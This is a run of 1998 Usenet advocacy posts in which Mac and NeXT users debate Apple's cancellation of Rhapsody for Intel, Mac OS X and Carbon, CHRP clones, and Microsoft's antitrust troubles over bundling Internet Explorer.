Yep, unless they have optimized something for PPC (or 68K, for that
matter), the source code should be identical for both. That was the whole
idea behind the PPC transition: make it transparent for developers to
support both old and new systems.
This no longer applies with Carbon APIs, although, from what Brad has been
saying, it shouldn't be that difficult for most developers to special-case
the Carbonesque APIs within their app and maintain backwards compatiblity
with System 7.x users (Those that use GX will be an exception, of course).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: Wed, 20 May 1998 10:51:19 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2005981051190001@dante.eng.uci.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu> <see-below-2005980308550001@209.24.240.28>
In article <see-below-2005980308550001@209.24.240.28>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
>In article <rmcassid-2005980144360001@dialin9111.slip.uci.edu>,
>rmcassid@uci.edu (Robert Cassidy) wrote:
>
>> Apple is clearly creating options for itself. We just need to show that
>> Rhapsody/Intel is a justifyable option.
>
>I wonder if Apple agrees with us, but is doing this for other reasons.
>Don't forget that a big part of the legal case against Microsoft is now
>predicated on the perception that Microsoft has no meaningful competitors
>in the OS market on Intel PCs. This allows them to treat Microsoft like a
>public utility worthy of regulation. Any supremely good commercial
>operating system directly competing with Windows would only bolster
>Microsoft's contention that anyone could come along and steal Microsoft's
>market, if only they had a better product.
I've thought of that as well. Apple by lack of action on the Intel front
strengthens the position against MS as monopoly and at the same time keeps
Apple in good terms with MS. Apple by action on the IE front makes IE even
more pervasive on users computers and also buoys the concept of browser as
separate product. Interesting, but relying on the DOJ to make a business
case for Apple is a _very_ risky thing. Options only perhaps. I doubt that
what is stated above is anything more than byproduct.
-Bob Cassidy
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 20 May 1998 12:13:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1887964-1E2D8@206.165.43.125>
References: <joe.ragosta-2005980829560001@wil131.dol.net>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Joe Ragosta <joe.ragosta@dol.net> said:
[...]
>CHRP? Apple supported it until the end. Every other "partner" dropped it
>first and Apple dropped it only when it no longer made sense.
>OpenDoc? Ditto. No one was using it and there was no evidence that it
>would ever catch on.
>
The is last is somewhat bogus, Joe. While it is true that IBM was obviously
going for Java, there were (and are still) plenty of customers willing to
use OpenDoc-based solutions.
As for the first point, this is beyond bogus. Motorola had machines ready
to ship based on CHRP. They were predicint a $1 billion/year revenue from
clone sales, mostly based on CHRP-projections, since that is what they
wanted to base all of their new models on. All other clone-makers were
wanting to ship CHRP as well since it would free them from paying hardware
licensing fees to Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 15:29:51 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvavf$2cn$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net>
In article <6junbc$is5$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> Either they have to have two Finders for the next nnn
> years or they can make a Carbon one and get everyone. From a resurces
> standpoint it makes sense - again, IF I heard right.
I wonder if the Finder will be replaceable. (No reason why they couldn't
make it that way, but they might not bother.) If so -- third party
opportunity for a superior Yellow Finder.
Date: Wed, 20 May 1998 15:32:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <joe.ragosta-2005981532310001@wil105.dol.net>
References: <joe.ragosta-2005980829560001@wil131.dol.net> <B1887964-1E2D8@206.165.43.125>
In article <B1887964-1E2D8@206.165.43.125>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
> [...]
> >CHRP? Apple supported it until the end. Every other "partner" dropped it
> >first and Apple dropped it only when it no longer made sense.
> >OpenDoc? Ditto. No one was using it and there was no evidence that it
> >would ever catch on.
> >
>
> The is last is somewhat bogus, Joe. While it is true that IBM was obviously
> going for Java, there were (and are still) plenty of customers willing to
> use OpenDoc-based solutions.
>
> As for the first point, this is beyond bogus. Motorola had machines ready
> to ship based on CHRP. They were predicint a $1 billion/year revenue from
Motorola had demos based on chips that weren't even offically released
until 8 months later.
But that's completely irrelevant. What was the value of chip? Support by
multiple OSs. All of the other OS vendors dropped CHRP before Apple did.
Apple was the last--or are you saying that some other OS vendors supported
CHRP longer than Apple?
> clone sales, mostly based on CHRP-projections, since that is what they
> wanted to base all of their new models on. All other clone-makers were
> wanting to ship CHRP as well since it would free them from paying hardware
> licensing fees to Apple.
You're confusing the cloning issue with OS vendors supporting CHRP. IBM,
Microsoft, Novell, and Sun all dropped CHRP before Apple did. So, by the
time Apple dropped it, CHRP was nothing more than an alternative cloning
platform. Since none of the vendors were willing to pay enough money for
Apple to continue clones, it's irrelevant.
After all, Apple never stopped Motorola from selling CHRP boxes. Where are they?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6juf9b$d0p$1@ns3.vrx.net> <6jv1ed$1v6$1@crib.bevc.blacksburg.va.us> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35633073.0@206.25.228.5>
Date: 20 May 98 19:35:15 GMT
nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> I wonder if the Finder will be replaceable. (No reason why they
> couldn't make it that way, but they might not bother.) If so --
> third party opportunity for a superior Yellow Finder.
Apple doesn't strike me as the kind of company that likes to give
up control of *anything* to anyone. I could be, and hope I'm, wrong.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com> <Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk> <Et04LK.4zv@micmac.com> <6jn9v4$1cc$71@ironhorse.plsys.co.uk> <Et97wA.Mp0@micmac.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356331f9.0@206.25.228.5>
Date: 20 May 98 19:41:45 GMT
Michel Coste <nospam@micmac.com> wrote:
> This was written in comp.sys.mac.advocacy,comp.sys.next.advocacy
> (<6jn9v4$1cc$71@ironhorse.plsys.co.uk>) by mmalcolm crawford:
> > In <Et04LK.4zv@micmac.com> Michel Coste wrote:
> > > I see personnally Mac OS X as Rhapsody 2.0!
> > Ah, this is because you have a clue. cf Henry's point! :-)
> Well... at least one! Thanks! (?)
> And I happen to agree with Henry. The problem is the clueless
> are the less speachless... People here have difficulties
> understanding simple things. Even the MacRumor people have more
> clues! =;)
Just thinking about all the above. In a way I do see MacOSX as
Rhapsody 2, another I don't. Namely the death of Rhapsody after
1.0 (as I've read about the net) means that apple in essence is
going to force us back on PPC hardware (with the apple premium
price) if we want a different operating environment than windows.
Rhapsody on intel would have given many of us the best of all
worlds, dos/win ability when we need it, and rhapsody when we want
it. Now only yellow box and the win UI will be available. Now
based on the current rhapsody UI, I don't see this as anykind of
big issue. However, assuming a good appearence manager, and other
rhap/MOSX amenities it probably will be a big difference. It really
does seem a return to a proprietary set up to me in many ways.
Makes me wonder if Jobs and bgates didn't just make a deal to stay
off each other's processors. (just some hyperbolic speculation)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 20 May 1998 15:41:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvbl6$2fo$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6junbc$is5$1@ns3.vrx.net> <6jvavf$2cn$1@crib.bevc.blacksburg.va.us> <35633073.0@206.25.228.5>
In article <35633073.0@206.25.228.5>, jkheit@xtdl.com wrote:
> nurban@crib.bevc.blacksburg.va.us (Nathan Urban) wrote:
> > I wonder if the Finder will be replaceable. (No reason why they
> > couldn't make it that way, but they might not bother.) If so --
> > third party opportunity for a superior Yellow Finder.
> Apple doesn't strike me as the kind of company that likes to give
> up control of *anything* to anyone. I could be, and hope I'm, wrong.
Anyone want to start a replaceable Finder campaign? :)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programming
Subject: Objective C++ (was Re: Infoworld on the Yellow Box's future)
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com> <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us> <nospampischke-1905982350420001@ts7-32t-16.idirect.com> <35626D26.B7616464@alum.mit.edu>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35633314.0@206.25.228.5>
Date: 20 May 98 19:46:28 GMT
Eric Hermanson <eric@alum.mit.edu> wrote:
> I have no problem with Yellow Box continuing to be wrapped in
> Java, making the API's available. But I would hate to see
> Objective-C go away as a language in favor of Java. I think many
> developers will adopt Obj-C once they are exposed to it. There
Which reminds me of some WWDC announcements that Obj-C is now going
to be Obj-C++. UG, not this again. Or is this merely marketing
hype showing that both can be used with the current compiler. I
don't want them messing up a good thing, Obj-C, with that idiot
braindamaged syntax et al. of C++.
Anyone know for sure? I read the Obj-C++ thing on one of Scott's
WWDC note pages at www.stepwise.com
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvy67j0enft.fsf@cn1.connectnet.com>
Date: Wed, 20 May 1998 19:45:28 GMT
NNTP-Posting-Date: Wed, 20 May 1998 12:45:28 PDT
"John Saunders" <jws@jws.ultranet.com> writes:
> >That's somewhat ingenuous though. I'm virtually certain that the
> >IWebBrowser interface was already closely related to IE, in that it
> >took minimal work on the IE developer's part to use it. Netscape on
> >the other hand is *not* implemented like IE internally, and would need
> >lots of work to support that interface.
>
> Darin, I'm missing your point. Yes, IWebBrowser was available in IE3. Yes,
> Netscape Navigator is not written as component software. I guess I've missed
> the connection between those two facts.
OK, take two programs, let's say Word and WordPerfect. And go back a
few years to avoid any "but they already do this" arguments.
Now, suppose Microsoft takes Word, cuts it in half with a knife, slaps
some glue on the bleeding parts, and then declares "this part is the
new word processing component of the OS, and here is the API." At
that point, Word *instantly* is conformant to that API, whereas
WordPerfect may need several long years to redesign their product to
use the API.
Programs do not work the same way. It is silly to assume that by
presenting a new API that programs will be able to make use of it with
only a little effort. Being able to use the new API may involve
enormous changes in a program's structure - sometimes even more effort
is involved than in rewriting a new program to do the same thing.
(ie, try converting a MAPI program to use VIM, or vice versa)
I believe the same sorts of things happened with IWebBrowser. This
used to be part of IE, and *only* part of IE. Other browsers had no
access to this and no incentive to use it (unless you want to argue
that all companies should be emulating MS products by default). Now
MS has gone and declared a new API (IWebBrowser), with IE magically
being conformant already and everyone else playing catchup.
It's an unfair linkage between the OS and the applications group. No
external company can possibly compete on a level playing field when MS
is allowed insider knowledge. It's just adding fuel to the fire for
Microsoft to then say "but here, it's an open API, you can use it if
you want, why are you complaining?".
> How did MS applications get a boost from the OS group? Which MS
> Applications are you referring to? The ones which use IWebBrowser2 to render
> HTML? But they're just using the same documented interfaces as anyone else.
They used the interfaces *before* they were documented and a part of
the OS. You yourself said earlier that IWebBrowser was in IE3.
Therefore, IE3 has used this interface long before the interface was
made a part of the operating system and before it was documented.
THAT'S A BOOST!
--
Darin Johnson
darin@usa.net.delete_me
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jsn3d$3ri$2@gte1.gte.net>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvy3ee4enaj.fsf@cn1.connectnet.com>
Date: Wed, 20 May 1998 19:48:33 GMT
NNTP-Posting-Date: Wed, 20 May 1998 12:48:33 PDT
roger@. (Roger ) writes:
> >They are not requiring MS to ship Netscape.
>
> That is exactly what they wanted.
From what I read, it was an "allowable option". They're not requiring
it (as far as what I read on Tuesday anyway). There are other
allowable options, less onerous to MS.
> But the OEMs can do that now. Sony and Compaq, for example.
All of them? Even a mom-and-pop-will-build-you-a-computer-shop?
--
Darin Johnson
darin@usa.net.delete_me
Sender: darin@cn1.connectnet.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net>
From: Darin Johnson <darin@usa.net.removethis>
Message-ID: <tvyzpgcd8lf.fsf@cn1.connectnet.com>
Date: Wed, 20 May 1998 19:51:21 GMT
NNTP-Posting-Date: Wed, 20 May 1998 12:51:21 PDT
"John Saunders" <jws@jws.ultranet.com> writes:
> They've imbedded vital functionality into the operating system. Same as they
> did with the file system. Or TCP/IP (remember when TCP/IP packages were Big
> Things?). Same as with the Web. As customers demand new features, software
> vendors should be allowed to include those features. Even if they're a
> "monopoly".
I claim it's not a vital OS function. Just like word processing is
not. Because an "operating system" is a fluid term, Microsoft is
stretching it to its limits.
> And Darin, if you don't know how many third parties use these features then
> how can you say that all we get is a worse help system in VS '97?
Because MSVC++ 4 had a better help system than MSVC++ 5. In my view.
Maybe web surfer's like the format, but I prefer content over flash
myself.
> Darin, you apparently missed it or else you just don't believe it. This is
> PRECISELY what the DOJ asked Microsoft to do this past weekend!
They gave it as an allowable option, not the only option.
--
Darin Johnson
darin@usa.net.delete_me
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: APPLE is forcing best os in the world into obscurity!!
References: <6jt7tt$enb$1@newsfep4.sprintmail.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356334fd.0@206.25.228.5>
Date: 20 May 98 19:54:37 GMT
macghod@concentric.net wrote:
> 3) How many pc owners will buy rhapsody 1.o for intel? It would
> be preety stupid knowing its the last version.
This is the idiot mistake sj seems to continously make. Pre-announcing
the death of something to make sure it's a failure. Fine, he wants
to be a bonehead and kill the intel version, then why on earth
bother releasing 1.0 at all!?! It's idiocy. First NeXT hardware,
then the newton, and now rhapsody intel. I hope to god there is
information at play that we are not privy to that makes all of the
above correct moves, but on the surface it just is darn stupid.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 20 May 1998 19:56:42 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m6dbq.tkj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsm6t$bjf$1@geraldo.cc.utexas.edu> <6jsrm1$v57$1@crib.bevc.blacksburg.va.us> <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6juuam$1mv$1@crib.bevc.blacksburg.va.us>
On 20 May 1998 11:53:58 -0400, Nathan Urban wrote:
:In article <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, mbkennel <replace this with '@'> yahoo.com wrote:
:
:> On 19 May 1998 16:56:33 -0400, Nathan Urban
:
:> :Unlike MMX, Altivec executes instructions in an _independent_
:> :instruction pipeline with its own register set and such (though it shares
:> :main memory with the rest of the CPU). It's also SIMD.
:
:> Sounds good, inside one task.
:
:> On the other hand, does this really bust up the context switch performance?
:
:Why would it?
More bits of CPU state to save as a result of the large number of big
registers.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 20 May 1998 20:05:48 GMT
Organization: University of California at San Diego
Message-ID: <slrn6m6dss.tkj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <355EDFB5.BDCB690B@milestonerdl.com> <see-below-1905981900280001@209.24.240.108> <35623C4D.1BC5B4BA@milestonerdl.com> <6jul7i$7gn@nrtphc11.bnr.ca> <cirby-2005981044210001@pm51-42.magicnet.net>
On 20 May 1998 14:44:38 GMT, Chad Irby <cirby@magicnet.net> wrote:
:Matthew Cromer <matthew_cromer@iname.com> wrote:
:
:> Apple has the good will of Microsoft to lose. That is not "very little".
:
:Yep. That there "Microsoft Good Will" is certainly worth a whole bunch,
:you betcha.
:
:Like the "Good Will" they had toward Stac. Or Netscape.
"good will" of microsoft isn't really "good will" it is only a
"We will decide to kill other competitors before we get around to you."
sort of "good will".
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: No Mac OS X for Intel...?
Date: 20 May 1998 20:02:55 GMT
Organization: Michigan State University
Message-ID: <6jvctf$6p8$2@msunews.cl.msu.edu>
References: <6jtt5c$q8k$1@news.cmc.net> <rmcassid-2005980144360001@dialin9111.slip.uci.edu>
<see-below-2005980308550001@209.24.240.28>
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Cc: see-below@not-my-address.com
In <see-below-2005980308550001@209.24.240.28> Matthew Vaughan wrote:
> In article <rmcassid-2005980144360001@dialin9111.slip.uci.edu>,
> rmcassid@uci.edu (Robert Cassidy) wrote:
>
> > In article <6jtt5c$q8k$1@news.cmc.net>, com.occam@leonvs wrote:
> >
> > > >From: Jordan Dea-Mattson <jordan@apple.com>
> > > >Apple will be delivering Rhapsody 1.0 for PowerPC and PC
Compatibles this
> > > >fall. This - not DR2 - will be the last Rhapsody for PC
Compatibles.
> > >
> > > Note the choice of words here: "PC Compatibles".
> > >
> > > Is it possible that Steve and Jordan have chosen their words
carefully
> > > so as to allow for the possibility of Mac OS X for IA-64 (i.e.
Merced)?
> > >
> > > OK, maybe it's a stretch, or wishful thinking....
> >
> > Maybe, but _everything_ Steve says is carefully chosen words, IMO.
> >
> > The 'Building a Business Case' thread should be a call for *all*
> > Rhapsody/Intel supporters to action. And it shows that Apple is
being
> > open. Jordan didn't need to post to a public listserve and incur
the email
> > wrath of a relatively large community if they didn't mean it to
some
> > degree.
Yes I agree. I just would like to keep this to one thread so I can
collect
arguments into some kind of coherent document so we can see what
ideas are out there - arguments for and against, evidence for/ against
etc. As I said I tried to start something like this in the DEBATE:
... thread
I'll happily move to Make a Business case ..
Would it not be benificial to do that. Also I've noticed that my
DEBATE
and the Building a business case were only posted to c.s.next.advocacy.
I suspect perhaps we should cross post to c.s.mac.advocacy?
I'd like some thoughts on doing this.
> > At the same time, I don't really understand why so much work is
being put
> > into drivers for Rhapsody/Intel 1.0 only to claim that drivers are
too
> > much work for 2.0. Hell, most of the work is done. And it's been
stated
> > that dual platform support should get a lot easier when Mach 3.0 is
the
> > foundation.
I've included this argument as (S = Save Rhapsody)
(S3) Because you've already done most of the work. Why drop
it now? If even .1% of the wintel market picks up a copy
that would mean 100-300K copies. Isn't that enough to pay
for a simple PPC - Intel back port, and a few drivers??
(F1) (Joe Ragosta)
Apple claimed (on Rhapsody Developers' mailing list) that they
need $100 million in revenues to justify Rhapsody/Intel. That's 1
million customers at $100 each. Given the number of disenfranchised
Windows users, the number of Mac users forced to buy a Wintel box,
the number of Linux users, and the number of users of other Unices,
that is not outside the realm of possibility.
> > Apple is clearly creating options for itself. We just need to show
that
> > Rhapsody/Intel is a justifyable option. We might also be better off
> > picking a smaller, but more critical target like Merced. Would we
rather
> > have first class Merced support the day Merced systems ships in
exchange
> > for the end of Rhapsody x86? I think I would. Time to focus.
I agree, and there are others. Expect to see some kind of announcement
or news post on this from Don Yacktman or Pat Taylor .. they are
working on a website & mail-list to deal specifically with this
issue (showing Apple R/I is a justifyable option). As to Merced
that won't be shipping till later. Whether they want to have
the first OS on Merced well that's another story. Hell if Apple
can't even decide on Intel what makes anyone think they
will go for Merced? Intel machines are all over the place
that is the huge market Apple has to at least offer a choice to.
That choice is YB and then Rhapsody/Intel. With the hope some
of those that make it to R/I will eventually go to Rhapsody PPC.
>
> I wonder if Apple agrees with us, but is doing this for other
reasons.
> Don't forget that a big part of the legal case against Microsoft is
now
> predicated on the perception that Microsoft has no meaningful
competitors
> in the OS market on Intel PCs. This allows them to treat Microsoft
like a
> public utility worthy of regulation. Any supremely good commercial
> operating system directly competing with Windows would only bolster
> Microsoft's contention that anyone could come along and steal
Microsoft's
> market, if only they had a better product.
If this is true then the time is definately nearing ripeness for Apple
to give some testimony/evidence to the DOJ. They should push
that MS API's be declared standards and therefore open to all
to compete on. I would suspect even congress would be open
to this option. Microsoft doesn't have any meaninful competitors
(period!). They havn't for quite some time.
> And if some legal action were to effectively weaken Microsoft's
ability to
> kill OS competitors, guess who would be ready to step in with the
perfect
> "alternative" OS to bundle on millions of PCs. One could go farther,
and
> speculate that last summer's Apple-Microsoft agreement might have
involved
> certain unsavory dealings that wouldn't help Microroft's case were
they to
> be revelealed in a courtroom at a particularly opportune moment.
Apple should try to get MIcrosoft with it's pants down NOW. Not after
some kind of settlement. Tell me that DOJ will let MS go after Apple
at this point! If what you suggest is true and why R/I is really dying
then I'd have to think about it carefully. But I suspect it would be
in Apple's best interest to slam dunk MS. That is unless MS did
agree to put YB in 98/NT5. Then things become muddled.
I'd have to think about this all over again.
> At the same time, it would appear to satisfy a short-sighted Bill
Gates,
> since he's likely happier if Apple leaves his markets alone.
He's happier if everyone leaves him alone. Frankly I thought DOJ
should have hammered MS long ago. I couldn't believe it took
this long.
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: William Edward Woody <woody@alumni.caltech.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Wed, 20 May 1998 13:10:13 -0700
Organization: In Phase Consulting
Message-ID: <356338A5.DE7CFA46@alumni.caltech.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <carl.gustafson-190598080 <Et7rF0.8DH@midway.uchicago.edu>
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Jonathan Eric Miller wrote:
> NT-PPC, who cares, PowerPC doesn't offer a significant advantage in
> performance over x86.
Where have you been during the latest Apple ad campaign, hardware
demos, or Byte benchmark tests?
--
William Edward Woody | In Phase Consulting
woody@alumni.caltech.edu | Macintosh & MS Windows Development
http://www.alumni.caltech.edu/~woody | http://www.pandawave.com/
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 20 May 1998 16:12:42 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jvdfq$2lv$1@crib.bevc.blacksburg.va.us>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <slrn6m5427.qu4.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6juuam$1mv$1@crib.bevc.blacksburg.va.us> <slrn6m6dbq.tkj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
In article <slrn6m6dbq.tkj.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>, mbkennel <replace this with '@'> yahoo.com wrote:
> On 20 May 1998 11:53:58 -0400, Nathan Urban wrote:
> :> On the other hand, does this really bust up the context switch performance?
